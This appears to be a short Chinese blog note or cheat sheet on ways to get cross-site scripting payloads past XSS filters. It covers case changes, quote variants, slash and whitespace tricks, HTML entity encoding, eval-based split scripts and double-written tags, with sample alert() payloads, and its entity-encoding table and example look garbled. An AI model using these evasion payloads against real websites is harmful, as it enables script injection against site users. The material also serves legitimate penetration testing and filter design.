我们可以通过构造xss代码进行各种变形,以绕过xss过滤器的检测

1.大小写检测

将payload进行大小写转化

如<Img SRC='#'  Onerror="alert(/xss/)"/>

<a HREF="javascript:alert(/xss/)">click me</a>

2.引号的使用

不断尝试双引号,单引号,与没有引号

如<img src="#" onerror="alert(/#/)">

<img src='#' onerror='alert(/#/)'>

<img src="#" onerror=alert(/#/)>

3.用[/]代替空格

可以用左斜线来代替空格

<img/src="#"/onerror="alert(/#/)"/>

4.回车

在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测

如<a href="j

a   v

ascript:alert(/xss/)">click me!</a>

5.对标签属性值进行转写

字母    ASCII码  十进制编码   十六进制编码

a            97               a                a

e            101            e               e

可转化为十进制编码与十六进制编码

如<a href=jav=script:alert(/#/)>click me!</a>

可将以下字符插入到任意位置

Tab     &#9

换行  &#10

回车  &#13

也可以将以下字符串插入到头部位置

SOH  &#01

STX  &#02

6.拆分跨站

<script>z='alert'</script>

<script>z=z+'(/xss/)'</script>

<script>eval(z)</script>

7.不常用  css中的变形

(1)使用全角字符

(2)由于注释会被浏览器忽略,使用注释

(3)样式表中加[\]和[\0]

8.双写绕过

<script>

变为<scr<script>ipt>

05-26 00:58